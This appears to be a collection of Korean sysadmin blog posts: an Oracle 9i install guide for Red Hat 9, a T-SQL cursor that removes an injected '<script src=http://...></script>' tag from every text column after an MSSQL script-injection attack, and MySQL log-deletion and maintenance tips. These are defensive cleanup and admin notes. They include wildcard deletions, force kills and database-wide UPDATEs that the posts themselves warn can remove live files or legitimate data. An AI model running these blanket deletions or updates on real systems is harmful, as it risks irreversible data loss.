[root@miniroko]# echo 4096 > /proc/sys/kernel/shmmni
[root@miniroko]# echo 2097152 > /proc/sys/kernel/shmall
[root@miniroko]# echo 65536 > /proc/sys/fs/file-max
[root@miniroko]# echo 1024 65000 > /proc/sys/net/ipv4/ip_local_port_range
 
오라클 유저의 환경변수 설정
Log in as the oracle user:
$ su - oracle
기본적으로 bash 쉘을 권장합니다.
oracle 유저 홈디렉토리의 .bashrc 파일에 다음의 환경변수를 추가해 주시기 바랍니다.
# oracle 9i
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/Apache/Apache/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=ora9i
export ORACLE_TERM=xterm
 
# Use old Linuxthreads with floating stacks instead of
# the new Native POSIX Thread Library (NPTL)
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
 
# Edit paths
export LD_LIBRARY_PATH=/opt/ora9/product/9.2/lib:$LD_LIBRARY_PATH
export PATH=/opt/ora9/product/9.2/bin:$PATH
 
#
# change this NLS settings to suit your country:
# example:
# german_germany.we8iso8859p15, american_america.we8iso8859p2 etc.
#
export NLS_LANG=AMERICAN
Red Hat 9에서는 커널이 기존의 커널과는 다르게 Native POSIX Thread Library를 사용합니다.
이 상태에서 오라클을 설치하면 시스템이 Hang이 걸리는 현상이 발생하므로 기존의 커널과의 호환을
위해서 LD_ASSUME_KERNEL 환경변수를 설정하면 됩니다.
 
Installer 실행
오라클을 인스톨 하기 위해서는 적어도 512M의 물리 메모리가 필요하며
최소한 400M의 swap이 필요하다고 되어 있습니다만...실제로는 256M의 메모리에도 설치는 가능하며
128M도 가능한 걸로 알고 있습니다.(단지 128M에서는 고려를 좀 해 보심이...^^...상당히 느리죠...)
256M 또는 128M에서 설치할 시 out of memory현상이 나타나는데
이때는 startup force를 사용하여 오라클을 재기동시키면 됩니다.

혹시 swap이 모자라는 경우에는 다음과 같이 temporary Linux swap area를 생성해 주면 됩니다.
(저는 물리 메모리 384M, swap은 512로 잡았습니다. CPU는 800Mhz이구요)
$ dd if=/dev/zero of=tmp_swap bs=1k count=900000
$ chmod 600 tmp_swap
$ mkswap tmp_swap
$ swapon tmp_swap
 
오라클 인스톨 후에는 다음과 같이 임시 공간을 해제해 주십시요
$ swapoff tmp_swap
$ rm tmp_swap
 
로컬에서 X윈도우에서 오라클 인스톨러를 기동하기 위해서 다음과 같이 xhost명령어를 사용합니다.
$ xhost +127.0.0.1
 
 
[주의 사항]
유닉스나 리눅스에서는 윈도우와는 달리 마운트가 되면 CD가 eject되지 않습니다.
그러므로 cd 명령으로 CD-ROM이 마운트된 디렉토리로 가서 오라클 인스톨러를
실행하면 나중에 CD를 교체시 CD가 eject되지 않습니다.
따라서, 항상 pwd로 확인해서 현재 있는 곳이 CD-ROM 디렉토리가 아닌 것을 확인하고
다음 명령어를 수행하시면 됩니다.
$ su - oracle
$ cd /
$ /mnt/cdrom/install/linux/runInstaller
Installation 수행시에 나오는 link에러 수정
일반적인 오라클 설치에 대해서는 여기서 언급하지는 않겠습니다. 다들 잘 알고 계실거라 믿구요...^^
여기서는 인스톨이 진행되고 맨 마지막에 발생하는 에러들에 대해서 어떻게 수정하면 되는지에 대해
알아보도록 하겠습니다.
인스톨이 거의 끝나고 linking하는 과정에서 다음의 부분에서 에러가 발생합니다.
다음은 그 에러와 수정하는 방법입니다.

1) ins_oemagent.mk 링크 에러
    **************************************************************
    Error invoking targetinstall
    of makefile /usr/ora9/product/9.2/network/lib/ins_oemagent.mk
    Press 'Help' for more information.
    Press 'Retry' to try again.
    Press 'Ignore' ignore this error and go on.
    Press 'Cancel' to stop this installtion.

    [Help] [Retry] [Ignore] [Cancel]
    **************************************************************
    Figure 1. ins_oemagent.mk errors
 
    위의 화면이 나오면 일단 ignore를 선택합니다. 인스톨이 끝난 후에 다시 fix 할 수 있습니다.
2) imakefile error
    ************************************************
    Error in invoking target install of
    makefile /usr/ora9/product/9.2/ctx/lib/ins_ctx.mk
    Press 'Help' for more information.
    Press 'Retry' to try again.
    Press 'Ignore' ignore this error and go on.
    Press 'Cancel' to stop this installtion.
 
    [Help] [Retry] [Ignore] [Cancel]
    ************************************************
    Figure 2. makefile error
 
    위의 화면이 나오면 새로운 터미널을 하나 띄우고 오라클 유저로 로그인합니다.
    [oracle@miniroko oracle]$ cd $ORACLE_HOME/install
    [oracle@miniroko install]$ tail make.log
 
위의 tail make.log를 실행하면 다음의 같은 부분이 있을 것입니다.
gcc -o ctxhx -L/opt/ora9/product/9.2/ctx/lib/ -L/opt/ora9/product/9.2/lib/
-L/opt/ora9/product/9.2/lib/stubs/  /opt/ora9/product/9.2/ctx/lib/ctxhx.o
-L/opt/ora9/product/9.2/ctx/lib/ -lm -lsc_ca -lsc_fa -lsc_ex -lsc_da -lsc_ut
-lsc_ch -lsc_fi -lctxhx -lc -Wl,-rpath,/opt/ora9/product/9.2/ctx/lib -lnls9
-lcore9 -lnls9 -lcore9 -lnls9 -lxml9 -lcore9 -lunls9 -lnls9
이 부분을 복사하여 맨 끝에 -ldl 부분을 첨가합니다.
그리고 $ORACLE_HOME/bin 로 이동하여 다음과 같이 실행합니다.

[oracle@miniroko]$ cd $ORACLE_HOME/bin
[oracle@miniroko bin]$ gcc -o ctxhx -L/opt/ora9/product/9.2/ctx/lib/
-L/opt/ora9/product/9.2/lib/ -L/opt/ora9/product/9.2/lib/stubs/ 
/opt/ora9/product/9.2/ctx/lib/ctxhx.o -L/opt/ora9/product/9.2/ctx/lib/
-lm -lsc_ca -lsc_fa -lsc_ex -lsc_da -lsc_ut -lsc_ch -lsc_fi -lctxhx -lc
-Wl,-rpath,/opt/ora9/product/9.2/ctx/lib -lnls9 -lcore9 -lnls9 -lcore9
-lnls9 -lxml9 -lcore9 -lunls9 -lnls9 -ldl
이렇게 한 후 다시 화면으로 돌아와 ignore를 선택합니다. 그러면 인스톨이 진행됩니다.
database를 생성하는 Database Configuration 화면이 나옵니다. 여기서 DB를 생성하지 마시고
맨 밑에 있는 Software Only를 선택합니다. 이 부분도 인스톨 후에 fix되고 나면 다시 dbca를 기동하여
database를 생성할 수 있으므로 여기서는 일단 Software Only를 선택해서 그냥 넘어 갑니다.
 
Post-Installation
아까 위에서 언급되었던 에러들에 대해서 fix하는 방법입니다.
새로운 터미널을 열어서 오라클 유저로 로그인 후 다음과 같이 실행합니다.
[oracle@miniroko oracle]$ cd $ORACLE_HOME/network/lib
[oracle@miniroko lib]$ make -f ins_net_client.mk install
 
$ORACLE_HOME/ctx/lib/ins_ctx.mk 파일을 편집하여 13-14번째 라인을 다음과 같이 수정합니다.
ctxhx: $(CTXHXOBJ)
$(LINK) $(CTXHXOBJ) $(INSO_LINK)
to
ctxhx: $(CTXHXOBJ)
$(LINK) -ldl $(CTXHXOBJ) $(INSO_LINK)
다음 명령어를 수행하여 다시 make를 실행

[oracle@miniroko lib]$ make -f $ORACLE_HOME/ctx/lib/ins_ctx.mk install
 
수고 많이 하셨습니다.^^  여기까지 오라클 9i Release 2의 모든 설치를 마쳤습니다.
이젠 오라클을 기동해 보는 순서만 남았죠?
다음과 같이 실행하시면 됩니다.
 
Starting and Stopping the Database
8i에서 제공하던 svrmgrl은 9i에서는 더 이상 제공되지 않는 다는 것은 알고 계시죠?
sqlplus의 기능에서 흡수했습니다. 다음과 같이 수행하시면 됩니다.
 
[root@miniroko]# su - oracle
[oracle@miniroko oracle]$ lsnrctl start
[oracle@miniroko oracle]$ sqlplus /nolog
 
SQL*Plus: Release 9.2.0.1.0 - Production on ?et Svi 29 13:52:34 2003
 
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
 
SQL> connect / as sysdba
Connected to an idle instance.
SQL> startup
ORACLE instance started.
 
Total System Global Area   93393176 bytes
Fixed Size                   450840 bytes
Variable Size              75497472 bytes
Database Buffers           16777216 bytes
Redo Buffers                 667648 bytes
Database mounted.
Database opened.

SQL> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production
To shut down the server:
[root@miniroko]# su - oracle
[oracle@miniroko oracle]$ lsnrctl stop
[oracle@miniroko oracle]$ sqlplus /nolog
 
SQL*Plus: Release 9.2.0.1.0 - Production on ?et Svi 29 13:55:32 2003
 
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
 
SQL> connect / as sysdba
Connected.
 
SQL> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
 
SQL> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

mssql 전체 테이블 문자 검색 변경

데이타베이스
 
어느날 갑자기 DB에 "<script src=http://...></script>" 와 같은 내용이 삽입 된경우는 스크립트 삽입 공격을 받으신 겁니다.
 
참고로, 구글(http://www.google.co.kr) 에서 "<script src=http://...></script>" 내용을 검색해보세요.
국내 사이트중 어마어마 하게 많이 공격받은걸 확인 하실 수 있을겁니다.
 
MSSQL 을 사용중인 서버들이 공격 대상입니다.
항상 느끼는거지만 윈도우 관련 서버들이 취약점이 많다 보니 이런 문제가 생기는 것 같네요 저도 더 자세히 관련 공격 원인과 방어를 찾아봐야겠지마 끝이 없는듯 ㅡㅡ;
 
그럼, 테이블 마다 일일이 삽입된 스크립트를 일일이 지우는것도 끝이 없죠 그래서 다음과 같이 쿼리를 실행 해주시면 문제의 스크립트가 있는 테이블, 컬럼을 일일이 자동으로 찾아서 삭제 해줍니다.
 
 
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<script src=http://...></script>'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
 
 
위 진하게 표시된 부분을 삽입된 스크립트 내용으로 넣어 주시면 됩니다.
만약 여러 종류의 스크립트가 삽입된경우 ''%<script%</script>''' 처럼 넣어 주셔도 됩니다. 하지만 정상적인 스크립트가 사라지는 경우가 발생하겠죠! 주의!
 
하지만, 안타깝게도 위 쿼리로 100% 복구 안될 가능성 있습니다.
가장 좋은 방법은 백업해두신거 복구하는게 가장 좋겠죠!
 
아무튼 행운을 빌며 해당 공격에 대해 더 자사한 정보 찾으면 올리겠습니다.

mysql 데몬 종료

데이타베이스
# pkill -9 mysql
# mysqladmin -uroot -p shutdown
# /usr/local/mysql/share/mysql/mysql.server stop (start || restart)
# killall mysqld

mysql  프로세서 죽이기 다양하지만 어떤게 좋은건지는 잘 모르겠다. 하지만 확실하게 프로세서를 죽이는건 역시  killall 이 빠르게 프로세스를 내려준다. ^^;

ERROR 1016: Can''t open file: ''테이블명.MYD''. (errno: 145) - 복구하기

데이타베이스
[MySQL 테이블 오류]
ERROR 1016: Can't open file: '테이블이름.MYI'. (errno: 145)
 
(복구하기)
# 테이블명.MYI 파일이 있는곳에서 실행해야한다.(ex : 테이블명 - test)
# DB명 : testtest
# Table명 : test
ex)
1. 에러난 파일 : 테이블명.MYI
2. 아래 명령어 실행위치는 /usr/local/mysql/data/testtest(오류난 테이블 DB명)
3. 명령어 실행
[root@localhost root]# /usr/local/mysql/bin/myisamchk -r 테이블명.*
myisamchk: error: '테이블명.frm' is not a MyISAM-table
---------
myisamchk: error: '테이블명.MYD' is not a MyISAM-table
---------
- recovering (with sort) MyISAM-table '테이블명.MYI'
Data records: 7
- Fixing index 1
- Fixing index 2
- Fixing index 3
- Fixing index 4
- Fixing index 5
- Fixing index 6

mysql 로그 지우기

데이타베이스

mysql datadir 로 지정되어있는 폴더를 정확히 확인하신 후 아래와 같이 하시기 바랍니다.

 datadir 이 /usr/local/mysql/var 일 경우 예입니다.

 /usr/local/mysql/share/mysql.server stop

 /usr/local/mysql/var/ 디렉토리에 bin-log 파일을 삭제하시면 되는데 형식은
 아래와 같습니다.

 -bin 패턴이 불어있는 파일을 rm 으로 삭제하시기 바랍니다.
 
 rm -f *-bin*

 /usr/local/mysql/share/mysql.server start

위에 있는 글중에서

/usr/local/mysql/share/mysql.server stop
부분과
/usr/local/mysql/share/mysql.server start
부분에 있는 명령어들은 설정에 따라 틀릴 것이다.
무조건 따라 하다간 서버가 남아 나질 않을 것이니 자신의 서버에 맞게 명령어를 내리자
그리고
rm -f *-bin*
부분에서 *-bin*은 문제가 있는명령어이다
보통 도메인-bin.00001같이 되어 있는것을 저렇게 지울수도 있지만
현재 사용중인 도메인-bin.index 파일도 삭제 될수 있기 때문에
들어가서 하나하나 삭제 하는것이 낳을 것이다.
 
잠깐!! 문제가 발생 하였다.
현재 *-bin* 파일의 index 파일의 안을 vi 롭 보면 지워야할 파일이름이 있을 것이다.
이와 같은 경우 index 파일의 안의 이름을 지워줘야 정상적으로 mysql이 작동 될것이다.

mysql 바이너리 로그파일 보기

데이타베이스
shell> mysqlbinlog binlogfile  
shell> mysqlbinlog binlogfile > log.txt 
 
--------------------------------------
Trouble shooting
 
v6_sw1:/user1/extdata/data> mysqlbinlog v6_sw1-bin.000001 > babo
mysqlbinlog: unknown variable 'default-character-set=utf8'
/etc/my.cnf에 아래와 같이 설정되어 있습니다.
[client]
#password = your_password
port = 3306
socket = /tmp/mysql.sock
default-character-set=utf8

해결방법
default-character-set=utf8 부분을 주석처리하시고 다시 mysql를 기동하십시오..작업후 다시 주석부분을 빼고 재기동..

mysql로그 보기

데이타베이스

usr/local/mysql/bin/mysqlbinlog -uroot -pxxxx -r host명-bin.001 > test.txt

mysql 로그 삭제 (호스트명-bin.001 )

데이타베이스
*-bin.* 은 mysql 의 replication 기능을 사용하기 위한 binary file 입니다.

즉 replication 기능을 사용하지 않으시다면 삭제해도 상관없습니다.

만약 이 로그들을 생성시키지 않고 싶으시다면 /etc/my.cnf 에 보시면

-----------------------------------------------------------------
# Start logging
log-bin
server-id      = 1
-----------------------------------------------------------------

라는 설정이 있을 겁니다. 이 2줄을 모두 주석 처리 해 주시고 mysql 을 재시작 하시면 됩니다.

3.23 에서 새로 생긴 기능이죠.


MySQL Replication :
http://www.oops.org/?t=lecture&sb=mysql&n=1

MySQL 로그 파일 관리 - mysql rotate를 이용하여 쿼리 로그 확인

데이타베이스
=======================================================
   MySQL 로그 파일 관리
=======================================================

Mysql 의 로그 파일은 다음과 같이 크게 3종류가 있습니다.
1. 에러로그
2. 일반적인 로그
3. UPDATE 로그
첫번째 에러 로그는 hostname.err 의 이름으로 서버 실행시 에러를 기록하는 파일입
니다. 두번째 로그파일은 mysql 에 접근하는 사용자와 그들이 파일과 관련된 쿼리를
실행할 경우에 기록되는 로그 파일로 /usr/local/mysql/var 밑에 host_name.log 으로
저장이 되어집니다. Mysql 데이터에 파일을 기록하므로 파일과 관련된 쿼리는 DB 생
성/삭제 , 테이블 생성/삭제 , 레크드 삽입/갱신 이 있습니다.
이 로그 파일은 Mysql 실행시 --log 옵션을 주어 활성화 시키면 된다.
# /usr/local/mysql/bin/safe_mysqld --log &
업데이터로그는 테이블이 변경될때마다 해당 쿼리가 기록 됩니다. 기본적으로 활성
화 되지 않고 Mysql 실행시 --log-update 옵션으로 가능하다.
# /usr/local/mysql/bin/safe_mysql --log-update &
업데이터 로그는 /usr/local/mysql/var 밑에 host_name.00X 식으로 서버가 다시
실행되거나 mysqladmin reflesh 혹은 mysqladmin flush-logs 명령을 내릴때마다
뒤의 번호가 1씩 증가 한다. 혹은 --log-update=mysql.log 와 같이 로그파일명을
정해줄수도 있다.  Update 로그는 update 쿼리만 저장하거 같지만 ..
delete , create 등의 쿼리도 모두 저장한다.
mysql 의 사용량이 많은 사이트는 이런 로그파일이 쌓이므로 해서 디스크 용량에
문제가 생길수 있다. 관리자는 수시로 점검하여 삭제를 해어야 한다.
로그 파일을 관리하는 방법으로는 두가지가 있다.
먼저 /usr/local/mysql/share/mysql/mysql-log-rotate 파일을 이용하는 방법과
간단한 스크립트를 작성하여 cron 에 등록한뒤 관리하는 방법이 있다.
/usr/local/mysql/share/mysql/mysql-log-rotate 파일을 이용하는 방법은 ..
--log-update=mysqld.log 와 같이 로그파일을 정해서 관리할때 이용하면 된다.
# vi /usr/local/mysql/share/mysql/mysql-log-rotate
-------------------------------------------------------------------------
----
# This logname is set in mysql.server.sh that ends up in /etc/rc.d/init.d/mysql
#
# If the root user has a password you have to create a
# /root/.my.cnf configuration file with the following
# content:
#
# [mysqladmin]
# password = <secret>
# user= root
#
# where "<secret>" is the password.
#
# ATTENTION: This /root/.my.cnf should be readable ONLY
# for root !
/usr/local/mysql/var/mysqld.log {
        # create 600 mysql mysql
        notifempty
    daily
        rotate 3
        missingok
        compress
    postrotate
    # just if mysqld is really running
    if test -n "`ps acx|grep mysqld`"; then
            /usr/local/mysql/bin/mysqladmin flush-logs
    fi
    endscript-x
}
-------------------------------------------------------------------------
--
위의 파일을 /etc/logrotate.d 디렉토리에 복사만 하면 알아서 로테이트 하게 된다.
단..로그파일을 교체한후 mysqladmin flush-logs 를 적용하므로 root 홈디렉토리에
.my.cnf 파일을 만든후 MySQL 의 root 사용자의 암호와 사용자 명을 적어주어야 한
다.
vi /root/.my.cnf
--------------------------------------
[mysqladmin]
password = xxxxxxxxx
user = root
--------------------------------------
정상적인 로그 교체의 확인은 다음과 같이 하면 된다.
# logrotate -f /etc/logrotate.d/mysql-log-rotate

이밖에 --log-update 등의 옵션을 이용하면 수시로 로그파일의 뒤에 001,002 씩으로
번호가 증가 되면서 저장이 되므로 별도의 스크립트를 작성하여 관리해야 한다.
이는 각자 머리를 잘 짜면 될거 같다.
#!/bin/sh
find /usr/local/mysql/var -name "*.[0-9]*" -type f -mtime +3 -exec rm -f {} \;
/usr/local/mysql/bin/mysqladmin flush-logs
위와 같은 만들면 된다. 이는 "3일 지난 파일은 지워라" 로 cron 에 등록한뒤 적절한
시간마다 실행해주면 된다.

MYSQL 동시접속자 등 높을경우

데이타베이스
/usr/local/mysql/bin/mysqld_safe -O max_connections=3000 -O table_cache=512 -O wait_timeout=300 &